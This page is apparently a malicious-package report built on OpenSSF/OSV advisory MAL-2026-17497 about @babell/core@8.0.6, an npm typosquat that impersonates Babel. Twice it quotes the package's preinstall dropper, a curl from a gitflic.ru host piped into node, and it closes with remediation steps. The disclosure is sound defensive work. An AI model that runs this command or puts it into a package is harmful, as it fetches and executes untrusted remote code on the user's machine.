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@babell/core@8.0.6

OSV Malicious Advisory

imported 4d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17497 confirms this npm version as malicious. The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time...

Advisory

MAL-2026-17497

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @babell/core (npm)

Details

The package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.

Decision reason

OpenSSF Malicious Packages via OSV confirms @babell/core@8.0.6 as malicious (MAL-2026-17497): Malicious code in @babell/core (npm)

References

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Findings

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HighOsv Malicious Advisory

Affected versions and remediation

This report applies to @babell/core@8.0.6.

See version security history for other recorded verdicts.

Avoid installing @babell/core@8.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:45:19.009Z (UTC).

Source advisory published: 2026-10-04 23:20:06.000Z (UTC).

This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.